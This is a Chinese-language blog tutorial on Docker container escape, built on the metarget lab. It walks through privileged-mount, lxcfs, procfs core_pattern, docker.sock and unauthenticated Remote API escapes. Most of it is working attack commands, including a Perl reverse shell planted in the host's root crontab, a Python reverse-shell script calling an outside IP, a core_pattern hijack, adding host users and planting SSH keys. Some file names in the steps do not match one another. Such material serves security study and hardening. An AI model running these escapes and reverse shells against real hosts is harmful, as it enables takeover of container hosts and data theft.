Docker容器逃逸
2026-01-12 09:15:00

Docker容器逃逸

环境准备

使用项目metarget - https://github.com/Metarget/metarget

阿里云公开Ubuntu镜像 - ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04 - https://cr.console.aliyun.com/cn-hangzhou/instances/artifact

image

容器环境中可能如ping, ifconfig命令无法正常使用,可以上传busybox配合使用

image

Docker 基础

image

Priviliged 特权模式容器逃逸

环境搭建

1
2
3
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
./metarget cnv install privileged-container

编辑 vulns_cn/configs/pods/privileged-container.yaml

Ubuntu镜像改为阿里云的公开镜像 - ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04,可以防止出现网络问题

然后查看节点状kubectl get pods -n metarget,若为RUNNING,则就可以进入了 - kubectl exec -it -n metarget privileged-container /bin/bash

判断是否为特权模式

1、是否有权限查看磁盘列表并操作挂载 - fdisk -l

2、通过CapEff掩码值判断

1
cat /proc/self/status | grep CapEff

若掩码值为0000003fffffffff/0000001fffffffff,则为特权模式

image

Mount挂载逃逸 & 利用

查看宿主机磁盘设备

1
2
3
fdisk -l
// 或
cat /proc/partitions

image

其中vda表示一块磁盘

vda1表示第一个分区,整个磁盘的62914519/62913560的空间都分配给了vda1分区

特权容器允许执行mount 挂载命令,在容器中临时创建一个文件夹/test,然后将/dev/vad1挂载到/test

1
2
mkdir /test
mount /dev/vda1 /test

实现逃逸,特权容器实现逃逸后,以root权限访问宿主机文件

image

在宿主机根目录中新建文件

1
touch /test/attack.txt

image

定时任务
1
echo $'*/1 * * * * perl -e \'use Socket;$i="xxx.xx.xx.xxx";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root

添加用户登录
1
chroot /test adduser test

image

image

写ssh公钥

正常写公钥 - echo <公钥> > /test/root/.ssh/id_rsa.pub

然后用本地私钥SSH免密登陆 - ssh -i ~/.ssh/id_rsa root@xx.xx.xx.xx

如何检查危险挂载

利用mount,若环境中没有mount,可以使用cat /proc/1/mountinfo

image

挂载 lxcfs 逃逸

起一个测试环境,挂载lxcfs并且要rw可读可写权限

1
docker run -idt --cap-add=SYS_ADMIN -v /var/lib/lxcfs:/tmp/lxcfs:rw ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04

判断是否挂载 lxcfs

1
mount | grep lxcfs

挂载宿主机procfs系统导致容器逃逸

procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式

2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行

判断是否挂载Procfs

1
find / -name core_pattern

image

逃逸

找到docker在当前宿主机的绝对路径

1
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

image

/work更换为/merged

在容器内向/host-proc/sys/kernel/core_pattern中写入想要执行的恶意逻辑,这里是执行恶意python代码

1
echo '|/var/lib/docker/overlay2/e414c33503a4b8e3fc76ea5f59f76878aca38e9b8f58ccfd11d148707c023a47/merged/tmp/.a.py' > /host-proc/sys/kernel/core_pattern

反弹Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat >/tmp/.a.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "101.42.13.105"
lport = 2333
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF

给执行权限chmod +x /tmp/.x.py

制作崩溃程序,可以在有gcc的环境中编译好后

1
2
3
4
5
6
7
8
9
cat > crash.c << 'EOF'
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1; // 故意触发段错误
return 0;
}
EOF
1
gcc -o crash crash.c

执行/tmp/clash使Docker崩溃触发core dump,此时宿主机/proc/sys/kernel/core_pattern中写入的.shell.py会被执行

挂载Docker Socket逃逸

Docker守护进程是Docker架构的核心引擎,几乎所有的容器操作都由它完成

Docker Socket (/var/run/docker.sock)Docker守护进程与客户端之间的主要通信接口

image

若容器挂载了/var/run/docker.sock,就相当于获得了

判断是否挂载 Docker Socket

1
2
ls -lah /var/run/docker.sock
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

image

逃逸

若当前所在容器中有docker cli,可以直接用,若没有docker cli,可以尝试安装一个

docker中安装docker,首先换源

1
2
3
4
5
6
7
8
9
10
(1) 换清华源
cat > /etc/apt/sources.list <<EOF
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
EOF

(2) 换中科大源
sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

1
2
3
4
5
6
7
8
apt-get update
apt update&& apt install -y wget
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
tar xf ./docker-17.03.0-ce.tgz
cd docker
chmod +x ./docker
./docker ps //显示正在运行的容器
./docker run -it -v /:/host --privileged --name=sock-test ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04 /bin/bash

成功逃逸

image

为什么挂载了Docker Socket就可以在Docker中创建一个新容器并挂载宿主机根目录了呢?

这和Docker的工作原理有关,Docker cli需要与Docker守护进程通信才能工作,默认情况下Docker cli会尝试连接/var/run/docker.sock,若无法连接到任何Docker守护进程,Docker cli会报错

Docker Remote API 未授权

利用工具 - https://github.com/0xchang/DockerApiRCE

Docker Remote APIDocker提供的基于HTTP的与Docker守护进程交互的APIDocker守护进程Docker daemon默认监听2375端口切未鉴权,可以利用Docker API实现RCE

Docker提供的基于HTTPAPI,如列出所有容器

1
curl http://xx.xx.xx.xx:2375/containers/json

可以利用Docker API创建一个挂在宿主机根目录的容器实现逃逸、反弹Shell,写SSH公钥等一系列利用

真实场景,Apache dolphinscheduler后台,只能在Worker Server端执行命令,且是容器内,无法深入,利用Docker Remote Api未授权破局

image

可以接管所有容器,并且可以逃逸

image

上一页
2026-01-12 09:15:00
下一页